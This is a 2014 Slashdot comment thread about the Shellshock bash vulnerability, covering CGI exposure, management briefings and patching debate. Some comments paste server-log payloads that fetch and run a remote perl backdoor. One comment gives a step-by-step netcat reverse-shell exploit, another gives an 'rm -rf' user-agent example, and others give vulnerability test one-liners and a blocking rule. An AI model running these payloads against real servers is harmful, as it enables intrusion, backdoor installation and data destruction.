    2. Re:How to disable CGI in Apache by Anonymous Coward · · Score: 0

      That is a good step as well.

      However, if you do not need it remove it. That is the best way to remove the need to fart around with vulins. Just like what you did with bash.

    3. Re:How to disable CGI in Apache by Just+Some+Guy · · Score: 1

      What about FastCGI? Should it be similarly affected? A lot of people run PHP and so on that way.

      --
      Dewey, what part of this looks like authorities should be involved?
    4. Re:How to disable CGI in Apache by Anonymous Coward · · Score: 1

      Bash is the default shell and a essential component for many operating systems. It's not that trivial decision to just go by deleting it.

    5. Re:How to disable CGI in Apache by nblender · · Score: 2

      ok. Everybody /bin/ping -c 1 198.101.206.138

    6. Re:How to disable CGI in Apache by Anonymous Coward · · Score: 1

      Something like this might be a good idea too, in the right places...

      RewriteCond %{HTTP_USER_AGENT} "^ *\("
      RewriteRule ^.*$ - [forbidden,last]

      The basic idea is to ban any user agent that starts with a left paren, allowing for blanks in front of it just in case.

    7. Re:How to disable CGI in Apache by mea2214 · · Score: 2

      I got the exact same request
      89.207.135.125 - - [25/Sep/2014:00:58:47 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 16658
      on only one of my sites, the site I have registered with Google.
      I use tcpdump to catch other fields and the ping came in through User Agent.
      User-Agent: () { :;}; /bin/ping -c 1 198.101.206.138

    8. Re:How to disable CGI in Apache by sootman · · Score: 1

      Thanks for the tip. On mine:

      /var/log/httpd/access_log:89.207.135.125 - - [25/Sep/2014:07:14:41 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 3 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
       
      /var/log/httpd/access_log:213.5.67.223 - - [25/Sep/2014:15:08:27 -0400] "GET /cgi-bin/hello HTTP/1.0" 404 3 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\""

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
  22. Re:So flog the bash developer who checked this in. by Aristos+Mazer · · Score: 5, Insightful

    The bug is 25 years old at least. Pre-dates the existence of GIT and most other source code control software in use today. I have no idea what SCC would've been used 25 years ago. To give perspective -- this bug predates the WWW by at least a year.

  23. USER-AGENT by Anonymous Coward · · Score: 0

    A remote attacker can write a SHELL CODE in the user-agent, if your server is running Apache or NGinx,
    that CGI variable will end up in the SHELL and once Apache fork the server for CGI code: PHP, Perl, Python, Ruby, whatever,
    bingo they pwn your server.

    Even if your target PHP script is empty.

    http://packetstormsecurity.com/files/128394/bash-poc.txt

    If you type: /bin/sh --version

    and it says BASH, you are screwed.

    Also check /etc/passwd to see if your default shell is /bin/bash

    MacOS X, RedHat and CentOS are affected

    http://serverfault.com/questions/631055/how-do-i-patch-rhel-4-for-the-bash-vulnerabilities-in-cve-2014-6271-and-cve-2014/

    1. Re:USER-AGENT by phayes · · Score: 2

      As far as I can see, the vulnerability is a remote exec for the following cases:
      - Use of web server on the platform using CGI scripts
      - For Linux devices that are configured to use DHCP, dhclient-script, a rogue DHCP server can pass in exploit code.

      This is supposed to be worse than heartbleed which leaked the contents of system memory? OK for web servers I see the danger, but this doesn't seem to be a major exploit for people not running web servers & using fixed IPs.

      Macs in particular rarely have web servers running on them & their DHCP client mechanism is different.

      --
      Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
    2. Re:USER-AGENT by ray-auch · · Score: 1

      And SSH if any environment variables are passed (e.g. TERM)
      And Git servers using restricted ssh
      And CUPS
      And probably other services that just haven't been found yet

    3. Re:USER-AGENT by spitzak · · Score: 1

      No GP is correct.

      Calling system() is not sufficient. The vulnerable software also has to set an environment variable to a value the attacker can control. The GP lists two known ones: web servers and DHCP. This is obviously a subset of all software that calls system().

  24. Briefing for management - reuse with attribution by myvirtualid · · Score: 5, Interesting

    Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.

    Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.

    Status: Testing underway. Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.

    What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.

    How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.

    How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.

    What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.

    How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.

    What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if t

    --
    I'm here EdgeKeep Inc.
  25. Re:I love it. by jedidiah · · Score: 1, Flamebait

    No.

    On Linux we have bugs.

    On Windows you still have rampant malware that's taking your data hostage.

    Despite Lemming attempts to conflate every software bug with a Windows virus that does actual damage, it simply isn't so.

    The strong technical merits are still there. Windows is still a festering cesspit. Legacy apps remain the only real reason to run WinDOS.

    --
    A Pirate and a Puritan look the same on a balance sheet.
  26. Re:I love it. by Anonymous Coward · · Score: 1

    This bug effects windows as well,

    $ uname -a
    CYGWIN_NT-6.1 XXXXXXXXXX 1.7.30(0.272/5/3) 2014-05-23 10:36 x86_64 Cygwin

    $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
    vulnerable
    this is a test
     

  27. Re:I love it. by Anonymous Coward · · Score: 0

    That is only if you explicitly want to install Bash. Windows installations typically use PowerShell.

  28. This exposes systemic insecurities by CajunArson · · Score: 3, Interesting

    Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack. This isn't an "open source" vs. "closed source" thing. This is a "We'll just trust data received from untrusted sources!" thing.

    If your web/dhcp/print/etc. server is *accepting environment variables from random strangers* and then *executing a full-bore shell program* using those environment variables then guess what: You're freakin' server was already vulnerable and this Bash bug is just exposing the vulnerability, not causing it!!

    Seriously, if Windows had a design like this then we'd be hearing the old "insecure by design!" schtick, and I'm not going to hold Linux to a lesser standard.

    --
    AntiFA: An abbreviation for Anti First Amendment.
    1. Re:This exposes systemic insecurities by Anonymous Coward · · Score: 0

      The shell programs don't even need to use those environment variables, they merely need to be there. Test it for yourself: UNUSED='() { ignored; } ; /usr/bin/id' bash echo "I dont care about that variable"

    2. Re:This exposes systemic insecurities by Anonymous Coward · · Score: 1

      Linux will let it's users shoot itself in the foot just as much as windows.

    3. Re:This exposes systemic insecurities by Kiwikwi · · Score: 4, Informative

      Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack.

      Hm, no, the fault here lies squarely with Bash choosing to interpret an environment variable called HTTP_USER_AGENT as a program to execute.

      This is not about accepting arbitrary environment variables; CGI puts data in a few, well-defined variables. This is a perfectly legimiate use of environment variables. (And Windows does the exact same thing.)

      You're right that using a "full-bore shell program" such as Bash as the system shell is moronic. It is, unfortunately, still the norm on all major Linux distros except Debian and derivatives (which use the limited Dash shell, which is not vulnerable).

      Primarily, I think this is a wake up call for Fedora, SUSE and the others: Bash is a huge, complex component, evidently with insufficient security review, and should not be used as the system shell. Debian dropped it for performance reasons, but now we can add security concerns to the list. It can stay around for use as an interactive shell (though why you'd do that when you have zsh, I don't know...)

    4. Re:This exposes systemic insecurities by TechyImmigrant · · Score: 1

      Yup. The web server passing input to shell scripts via environment variables is lore that was put in place with the earliest cern web servers and it should have been killed and put to sleep a long time ago.

      However the bash shell executing environment variables on the way in is worse.

      The equivalent in python would be like putting this at the top of every python CGI script:
      untrusted_input = cgi.FieldStorage()
      for k in untrusted_input.keys:
                eval(untrusted_input[k])

      --
      I should use this sig to advertise my book ISBN-13 : 978-1501515132.
    5. Re:This exposes systemic insecurities by Anonymous Coward · · Score: 0

      This is not a Linux (the kernel) issue, but a bash (userland GNU tool) issue (coupled with a bad programming issue). There are plenty alternatives (several are pretty much drop-in replacements). Bash has always been everythnig and the kitchen sink, not advisable to use in anything considered "secure" (im surprised there is not argument for disabling this in bash though, like --do-not-fucking-trust-strangers or whatever those verbose GNUguys can come up with).

      tl;dr: If you move a lot of money around, do not pretend your pinto is an armoured car. use the right tool for the job, and do not pick a universal tool when a simple one can do.

    6. Re:This exposes systemic insecurities by david_bonn · · Score: 1

      I really don't get why an embedded system needs to have *any* shell in the first place. From both a security and reliability standpoint you don't need to stress about components that aren't there.

      Or you could take a hint from busybox and have one statically linked executable that does everything you need, AND NOTHING MORE, on your system.

      It isn't that hard to write your own version of init to parse a config file and do whatever your system needs to do. And it is a hell of a lot more secure.

      I've only been building shell-less (and root-less and passwd-less systems) for twenty years.

    7. Re:This exposes systemic insecurities by Anonymous Coward · · Score: 1

      The reason why this vulnerability exists is not because bash is huge. In fact, bash is small compared to other things; it is maybe only twice the number of lines of code than zsh. The issue is that there are parts of bash which were coded in a way that "felt right" at the time, and that time was 15+ years ago.

      Like reusing the code that's used to parse function definitions entered from scripts or interactively and use that to parse environment variables. Which is the same code that is used to execute commands (because that eval loop contains all the quote expansion, interpolation, and shell builtin logic). I mean why write another function when we have a perfectly good tested one to use. This is just common sense. Now of course when defining a function it sets a flag in the state machine that prevents it from actually executing the code at that time until you evaluate it later, storing the expanded form intermediately for fast execution at use time. Except that whoops, while it works for the use case of defining a function for later use, it also re-enables the execution portion of the parser after the end of the function definition, and starts creating side effects if you provide more for it to parse. Most admins would never had seen a problem with this, since the feature is so little used, and what's worse, since the side-effect extra command only gets run at shell start when the env list gets examined, it's unlikely anyone ever tried to chase it down if they did happen to trip across it.

      I think that when a product has features in it that no one uses anymore, you ask yourself, can we just get rid of this? That's not something maintainers of enough software do, especially when the "burden" of maintaining that extra feature is so low, because it doesn't negatively affect the product, nor does it require any upkeep in a meaningful sense (since it reuses so much stuff, which was the whole issue here).

    8. Re:This exposes systemic insecurities by Zenin · · Score: 1

      You don't need to run a "full-bore shell program" to be vulnerable.

      You simply need to use the system() function of any popular language (Perl, PHP, Python, Ruby, C, etc). The system() function executes /bin/sh -c to parse the string before executing it. You don't even need to pass any arguments. On every Linux distro /bin/sh IS bash. Game over.

      The alternative to using a one line system() call is a few dozen lines of complex, easily screwed up systems programming as you navigate through fork(), exec(), dupe(), wait(), etc.

      The real issue are Linux distributions deciding that bash was a suitable substitute for a minimal POSIX /bin/sh.

      --
      My /. uid is better then your /. uid
    9. Re: This exposes systemic insecurities by Anonymous Coward · · Score: 0

      It would probably never be found by accident as it has to be a malformed env.

    10. Re:This exposes systemic insecurities by Anonymous Coward · · Score: 0

      I'll buy that GW is dangerous when ALGORE sells his beach house and carbon-neutrally composts his $100*10^6 from Qatar.

      Someone who doesn't "buy GW is dangerous" because "ALGORE!!1!one!" has no credibility and is demonstrably an idiot.

      Unless they're trying to make a distinction between "dangerous" and "seriously problematic" (doubtful) or are invoking Poe's Law (which is a moronic thing to do itself).

      You, sir, are a fool and think far too highly of your own cognitive abilities. Turn off the talk radio and read some Ars Technica or something similar.

    11. Re:This exposes systemic insecurities by spitzak · · Score: 1

      No I think you are confusing it a bit. Yes it would be really bad if something calling system() had a defect such that an attacker could set $PATH beforehand. But that would be an obvious bug and fixed long ago.

      This bug just requires a piece of text crafted by the user to be in *any* environment variable. For instance if the calling code put the arguments to the function it wanted into $ARG1, $ARG2, etc.

  29. Re:Briefing for management - reuse with attributio by Anonymous Coward · · Score: 0

    Posting anonymous because I modded you -

    Under "How bad could it be" - change Linus to Linux

    Under "How does it work" - might want to modify the sentence "Within the last several days, security researchers discovered a serious vulnerability is present in bash shell. This vulnerability has existed for quite some time however it was only brought to light very recently" (or something close to this?)

  30. Re:I love it. by Anonymous Coward · · Score: 0

    SystemD next!

  31. PHP vulnerability - don't know. by Animats · · Score: 1

    FastCGI implementations are supposed to execute the specified executable without any parameters from the HTTP request. The FCGI program then reads and processes multiple HTTP requests, with no shell involvement. Unless the program invoked by FCGI itself invokes the shell (which PHP scripts can do), there should be no problem. I'm not a PHP user; someone with PHP internals expertise needs to look at that world for vunerabilities. Can arguments from the HTTP request make it into the environment of subshells invoked by PHP?

    1. Re:PHP vulnerability - don't know. by Narcocide · · Score: 1

      AFAIK yes, by default, if you backtick to open a shell command, but not if you use shell_exec().

    2. Re:PHP vulnerability - don't know. by Narcocide · · Score: 1

      AFAIK yes, by default, if you backtick to open a shell command, but not if you use shell_exec().

      And, incidentally, neither of which you should be doing in the first place on any publicly facing web server. They've both generally been considered bad practice for scalability as well as security concerns since long before this particular BASH vulnerability got a buzzword name.

    3. Re:PHP vulnerability - don't know. by Narcocide · · Score: 1

      AFAIK yes, by default, if you backtick to open a shell command, but not if you use shell_exec().

      And, incidentally, neither of which you should be doing in the first place on any publicly facing web server. They've both generally been considered bad practice for scalability as well as security concerns since long before this particular BASH vulnerability got a buzzword name.

      Also, don't run your webserver as root.

  32. Tremble in fear, before the Bashjector Brainfuck by Anonymous Coward · · Score: 0

    I see. So you're proposing Project Disnamify, whereby we set out to remove the name from bugs. Unfortunately, I've also got a guy here who wants to go ahead with Operation HashNick, where bugs' names are hashed into strings of hex digits, so that people can talk about the bug using a common symbol, without other people necessarily being given insight in to how to exploit it. (There's also the Bug Tracker URL Principle, where they should all just have URIs of whoever's chosing, but that seems to be falling out of style, sort of like the Bugzilla ID Folly has.)

    My problem with both of you people's proposals, is that it doesn't fit my Titanium Falcon Agenda, where I think each bug needs to sound as cool (and vaguely threatening) as possible, to both raise awareness and also to get good movie names, in case someone decides to make a movie out of the bug. Remember how lame "2012" was? AFAIK "Y2K" was so lame they didn't even make a movie (but at least a decent Family Guy episode). "Heartbleed" was new chapter, a rennaissance where the likes "Richard Kiel Memorial ABEND" and "Guru Meditation" are rediscovered.

    So, you go and fix your little bug, but I for one, would like my Bashjector Brainfuck fixed instead.

  33. Re:Briefing for management - reuse with attributio by phayes · · Score: 1

    For web servers that allow cgi scripting, yeah I see that it could be bad. I also noted the dhclient-script problem on Linux clients. However, I don't see this as being a major exploit for Macs (which run Web servers very rarely) & do not use the same dhcp-client mechanism as Linux & don't seem to be vulnerable.

    If it's not remotely exploitable on OSX, even if the bug is present in the system bash, it's not as critical as some are trying to make it look.

    Please correct me if I'm wrong with a remote exploit that works on Macs.

    --
    Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
  34. Re:So flog the bash developer who checked this in. by Anonymous Coward · · Score: 1

    RCS and SCCS where all the rave back then.

  35. Re:So flog the bash developer who checked this in. by hey! · · Score: 1

    RCS came out in '82. I remember using SCCS on Unix System III in the mid 80s, and it dates back to 1972 or so. Bash came out around '89, and so it could have been managed with either SCCS or more likely at that point with RCS, although it's also possible that no revision control system was used before the original release. In those days revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a revision control system.

    --
    Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
  36. Re:Briefing for management - reuse with attributio by PPH · · Score: 1

    WUT?

    Because many web servers use system command interpreters to fulfill user requests,

    I did this a few decades ago. When I started messing around with the NCSA httpd server. Within a few months, I cleaned up all the CGI shell access calls, filtering the incoming parameters for just this reason.

    system modification.

    Only if you let your web server run itself and launch processes with permissions that can change system settings. Almost everything I write runs as a 'guest' user/group on my systems and can't mess with anything beyond that user's data. The scripts and executables themselves are owned by a web-admin user with restrictive write permissions. So 'guest' can't alter them either.

    All these practices date back to the '90's when I taught myself most of this fancy web stuff. And real UNIX admins laughed our asses off at anyone who needed a web based (or any GUI) system administration interface.

    --
    Have gnu, will travel.
  37. Re:I love it. by Anonymous Coward · · Score: 1

    I can not count the number of Windows IIS web servers that have cygwin installed. It is far more common than you may think.

  38. Re:I love it. by Anonymous Coward · · Score: 0, Insightful

    Yes, on Linux you have bugs that allow anyone with even basic technical skills to remotely exploit your servers. And you're bragging about this, asshole?

    Windows exploits are of the "Hey, idiot, run this thing!" nature, and of course many idiots run it. If you are halfway intelligent it's easy to run a secure Windows machine.

    Linux exploits, especially this ridiculous mack-truck sized one, are of the "Fuck you, I own your machine asshole" variety. They are drinking your milkshake, and you're still waxing clueless about how bad Windows is when it is superior in just about every technical dimension _other_ than the fact that 70% of its users are complete idiots, compared to only about 40% on Linux.

    The fact is that this "bug" shows what assholes you neckbeards are. It's an enormous bug that will plague you for months and years, all the while you bloviate to anyone who will listen how secure Linux is.

    Good luck, douchebag. This couldn't have happened to a happier bunch of fuck-knuckles, frankly.

  39. Re:Briefing for management - reuse with attributio by myvirtualid · · Score: 1

    Hey, I'm not saying the practices that make people vulnerable are wise - just that they exist and that unless positive steps are taken to test and, where necessary, fix, systems will be vulnerable. After all, we are seeing reports of the vulnerability being exploited in the wild, so we know there are affected systems out there. If we've done our jobs right, they won't be ours - but we cannot just hope that we've done our jobs right - and we do need to advise management that a) we're aware of the issue, b) we did our jobs right, and c) we're double checking, just to be safe.

    --
    I'm here EdgeKeep Inc.
  40. Re:Briefing for management - reuse with attributio by Anonymous Coward · · Score: 1

    It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them

    FUD much ? did you miss the part where it would need to have bash installed ? it doesn't come with Android or iOS by default and only a very limited set of people would install bash on these.

  41. Re:I love it. by Anonymous Coward · · Score: 0

    On Windows you still have rampant malware that's taking your data hostage.

    No, you don't. Unless you deliberately install shady software, these days the risk of getting malware to your Windows box is very low.

  42. Re:I love it. by Anonymous Coward · · Score: 0

    Only if you're the neckbeard guy who installs cygwin on windows, and the _especially_ neckbearded idiot who uses it to run some sort of CGI or other remotely accessible service versus just for a (primitive) interactive shell.

    So I'm sure both of the guys doing that are really shitting their pants now, lolzers.

  43. Can we use this to get root on systems? by Nyder · · Score: 1

    I'm thinking about phones & tablets and other devices that haven't been rooted, or got a new update that the old root methods don't work.

    Can this be used to get root on systems?

    --
    Be seeing you...
    1. Re:Can we use this to get root on systems? by Anonymous Coward · · Score: 0

      yes, of course. The simplest way would be to attack a process already running as root that would pass a crafted environment variable to bash through a system call. The other way is to attack a unprivileged process in the same way, but use it to drop and then execute a payload on teh system which will use a local exploit to gain root. Httpd is an obvious target, but I've already seen a PoC against sshd and there's probably much more out there.

  44. Re:I love it. by Anonymous Coward · · Score: 0

    LOL. What a freetard. Did you study NT at all?

  45. Re:Briefing for management - reuse with attributio by seebs · · Score: 1

    Look at it this way:

    Do you have full source to everything you run? No? Do you know whether any of them, ever, down any code path, call system() to run something? I bet some of them do. Now, could they ever do it in an environment where at least one variable has a value acquired from an external source?

    If so, that's an exploit-in-waiting.

    Keep in mind that "I don't call system, I use fork and exec" doesn't mean that the thing you exec doesn't perhaps call system(), or use the shell to execute some command. Or invokes something which is actually implemented as a shell script.

    It's not just external exploits of servers; it's external exploits of clients which can ever run something with environment variables obtained from the environment.

    --
    My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
  46. Re:I love it. by chipschap · · Score: 5, Funny

    These days, Windows is the faster, more stable, and more secure choice.

    Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.

  47. Re:So flog the bash developer who checked this in. by Kiwikwi · · Score: 2

    In those days [late 80s/early 90s] revision control wasn't universally used. Even as late as the early 00's I was training engineers coming out of master's degree IT programs who had no idea how to use a revision control system.

    Linus didn't use a revision control system for the Linux kernel until 2002.

    (Aw... comparisons between CVS and the "soon to be finished" Subversion. How quaint.)

  48. Here's a fun little test... by mad-seumas · · Score: 3, Informative

    Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:

    #!/bin/bash
     
    echo Content-type: text/plain
    echo ""
     
    pwd

    You should be able to go to

    http://www.your-server.com/cgi-bin/test.cgi

    and get a listing of apache's cgi directory.

    Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.

    (from attacking machine netcat)

    touch /tmp/pwnt

    (on target)

    ls -al /tmp/pwnt

    $-rw-r--r-- 1 www-data www-data 0 Sep 25 15:53 /tmp/pwnt

  49. Android by phorm · · Score: 1

    Just out of curiosity, what's the shell behind Android? if it's BASH then there could be a *LOT* more exploitable devices out there than people might think.

    1. Re:Android by mi · · Score: 1

      if it's BASH then there could be a *LOT* more exploitable devices out there than people might think.

      Only if the shell can be executed from the outside while also providing arbitrary values for any environment variable. The latter part is not true, I'm pretty sure...

      --
      In Soviet Washington the swamp drains you.
    2. Re:Android by Anonymous Coward · · Score: 0

      If you make a request to a web server which invokes a CGI script, the user agent you supply in your request gets placed into the HTTP_USER_AGENT environment variable, no matter what language is used for the actual CGI script. If that script then executes a shell command, either directly or by executing a bash script masquerading as a binary program (of which there are many in /usr/bin/), or if it executes a binary program and that program executes a bash script, then upon invocation, bash will pull the command out of the HTTP_USER_AGENT variable and execute it. Note that this has nothing to do with the CGI script mishandling user supplied data. The CGI script may never even touch the data in question, the web server puts it in the environment variable and bash decides to execute it for shits and giggles.

      On my system, there are 64 "programs" inside /usr/bin/ and /bin/ which are actually bash scripts, which makes for a wide variety of programs that any CGI program might execute that involve the execution of bash. One of them is "gunzip" which is a bash script wrapper for the 'gzip' command. I may have never written a CGI script that didn't call "gunzip" for one thing or another, excluding all of the trivial little ones that do almost nothing. I imagine the only web servers not vulnerable to this bug are the ones with very little to no CGI, and the ones that simply don't have bash.

      More to the GP's point, any device with a little web server inside may well be vulnerable to this. It doesn't require any coding mistake, it just requires a web server and some CGI that does anything moderately complex in the typical "unix way" by executing existing system tools to accomplish some of its tasks. I've read several posts that say that some DHCP client is vulerable and so you can get pwned just by connecting to a network with a malicious DHCP server.

  50. Re:Briefing for management - reuse with attributio by phayes · · Score: 1

    Yeah, but that's not a remote exploit.

    However, Ars was a little more informative: CUPS is apparently vulnerable and gives a remote exploit on OSX too...

    --
    Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
  51. Why is this a real problem? by bussdriver · · Score: 3, Informative

    Am I the only person who just assumed Bash was for users? Why would you let anybody run bash?

    Why in the world would people thoughtlessly run any command under CGI? I didn't know about this bash feature but I never imagined placing a shell into CGI... it feels like giving the public a shell account. shells are user interfaces not servers. This feature is probably useful for users and they won't be able to easily disable it-- a bunch of specific case patches means it'll probably pop up in other misuses of bash.

    I bet this has been used for decades by hackers for defacing websites, since the cgi-bin user often has write access to the html.

    If you properly locked down cgi-bin just how much harm could they do in jail? (not that we should just jail shells and let people have at it, but the purpose for jailing your cgi-bin is to minimize damage.)

    DHCP is interesting and new; I didn't know that the DHCP server could get my system to run bash commands... I guess I have to figure out what user the DHCP client runs under...

    1. Re:Why is this a real problem? by nedlohs · · Score: 1

      You wouldn't and that isn't the issue - anyone who has bash directly accessible as a cgi already had a security hole - well more a design...

      It's not that uncommon to have a cgi that grabs some data from a web form, validate that data, and then call some existing executable to actually do the work. Calling "sendmail" to send mail isn't exactly unheard of.

      As for DHCP I'd take the guess that the user would be root - given it will be configuring network devices and so on. But I don't care enough to check ...

    2. Re:Why is this a real problem? by spitzak · · Score: 1

      Programs use system() and popen() because it is easy. They want to search the path for executables, they want to do glob expansion of filenames, they want to put the process in the background. Go ahead and try to write those with what libc provides, and compare to the one-liner of system()/popen(). Compare which is easier to understand, too.

      The problem is that the functions provided by libc are not what programmers actually need. Most everybody would be happy with a "do what the shell does with these words", ie do_what_i_want(FORK, "rm --","foo","bar","name with space");

      Though this bug in bash is pretty inexcusable. Even if it was patched to not be a hole, it sounds like it parses the entire environment on startup, which is not good for these quick uses. Should defer it until the variable is first accessed.

    3. Re:Why is this a real problem? by jwhitener · · Score: 1

      Why in the world would people thoughtlessly run any command under CGI?

      They were not.

      A very harmless cgi script that a web site uses to output a message, like "hello world" could be executed by a browser, and by tweaking the user agent string to include, for example () { :;}; /bin/bash rm -rf . , you could delete anything that the web server had rights to delete. Get a plugin for firefox like 'tamper data' and you can see how trivial it is to exploit.

      http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited

  52. Bash Script that prevents furhter penetration by Linux29 · · Score: 1

    I have it on good authority that Switchport Networks Corporation out of Wyoming has quietly been working on a Bash Script that assumes that the the system has been already hacked into thus their clientele were not affected. If all systems could simply assume that the hacker has already gained access then preventing such intrusions would be a lot easier and not affect as many people.

    1. Re:Bash Script that prevents furhter penetration by Anonymous Coward · · Score: 0

      Sweet, I have been working on a technique that follows a similar line of reasoning. I presume my machine has been pwn3d, so instead of letting it continue to run I pull the power.

      Even more secure than Switchport's approach, I wager.

  53. Crap code by Anonymous Coward · · Score: 0

    ...all the way down.

  54. confirmed heartbleed healthcare breach? by lippydude · · Score: 1

    "Heartbleed has already been confirmed at the initial attack vector for the breach of a large healthcare system that stole 4.5M patient identities. Given the difficulty tracing Heartbleed attacks, it's likely other systems were compromised in the same way."

    Do you have a link to this confirmed Heartbleed Healthcare breach?

    1. Re:confirmed heartbleed healthcare breach? by spectrumlogic · · Score: 1

      as I recall the Office of Civil Rights maintains a publicly accessible notification site for HIPAA breaches over a certain size...this is probably a well publicised recent leak that is reasonably attributable to heartbleed...however, I think it might be difficult to conclusively pin down without inside info.

  55. Evidence that this is being exploited in the wild? by lippydude · · Score: 1

    "There is evidence that this is being exploited in the wild."

    Can we see this 'evidence'?

  56. Re: I love it. by Anonymous Coward · · Score: 0

    Freetard? Fuck off back to The Register you ginger cunt

  57. How to disable CGI in Apache by Anonymous Coward · · Score: 0

    And don't forget about mod_cgid (this isn't a typo) -- situation also applies there.

    And if Apache users need CGI, they should also be reviewing their Options directives to see where ExecCGI is set (or possibly "All"), and then reviewing all the scripts/binaries relevant to their clauses or whatever else (I'm speaking vaguely because how people do/accomplish all this in Apache varies per config).

    If any of the CGIs rely on any HTTP header information passed in from the client, and somehow use that information alongside a fork/exec to /bin/sh (or bash -- may be the same on some systems but not on others), or use system() (ugh), or things like backticks in perl or whatever other means in other languages, then you're at risk. If you have compiled binaries for CGIs, then you'd better hope you have source code to look at, otherwise you might have to end up strace/truss/ktrace'ing it all to figure out what's going on under the hood.

  58. Re: I love it. by Anonymous Coward · · Score: 0

    Except in your desperate attempt to seem knowledgeable you choose to gloss over some actual facts - not least the actual reality of the situation with regard boxes and their users.

    The answer is move to Windows server cos you're quite good at Windows 7, apparently.

  59. sigh by present_arms · · Score: 1
    --
    http://chimpbox.us
  60. Still problem with user input. by Chirs · · Score: 1

    While you don't need to pass arguments, you still need to set environment variables based on user input.

    Whoever thought it was a good idea to allow an HTTP request to set environment variables within the HTTP server to arbitrary values wasn't thinking about security.

    1. Re:Still problem with user input. by Darinbob · · Score: 1

      I don't think the early people did think it out, however even if they had some security expert thinking of all the ways it could go wrong I'm not sure it would stick out as a hole. After all nothing as far as they knew executed the contents of arbitrary environment variables especially not ones with names that they controlled. Even if they were really paranoid and decided not to use system(), or didn't use it for performance reasons, there were still perl scripts underneath that went and called system() behind the scenes...

      I bet if you took a time machine to last week that many web security experts if asked if passing data in an environment variable is safe or not would think it was insecure, assuming the program that parsed the data took care.

    2. Re:Still problem with user input. by Uecker · · Score: 1

      In the context about dhcp, there was a very similar problem before and people added some sanitation:

      http://cve.mitre.org/cgi-bin/c...

      So yes, people are aware that having an attacker control parts of the environment is a bad idea and this needs to be restriced. But for some reason this fix to dhcp does not cover all possibilties..

    3. Re:Still problem with user input. by LordLimecat · · Score: 1

      Im struggling to wrap my brain around the "why" of that, but in any case is this a common thing?

  61. Still user input by Chirs · · Score: 1

    The user input is in the form of specially-crafted HTTP headers in the HTTP request that cause environment variables to be set on the server.

  62. Can confirm... by Solozerk · · Score: 2

    Just saw this in the server logs on one of our servers:

    82.165.144.187 - - [25/Sep/2014:18:55:59 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 392 "-" "() { :; }; /usr/bin/wget 82.165.144.187/bbbbbbbbbbbb"

    An attempt at exploiting the vulnerability (trying to wget h t t p : // 82.165.144.187/bbbbbbbbbbbb to confirm the system is vulnerable).

    1. Re:Can confirm... by Solozerk · · Score: 2

      Another one attempts to download and execute h t t p ://213.5.67.223/jurat , a perl backdoor that'll connect to a control IRC server (46.16.170.158 port 443), presumably so that a botnet can be constructed. It allows for port scanning and DDOSing remote targets based on IRC commands received.

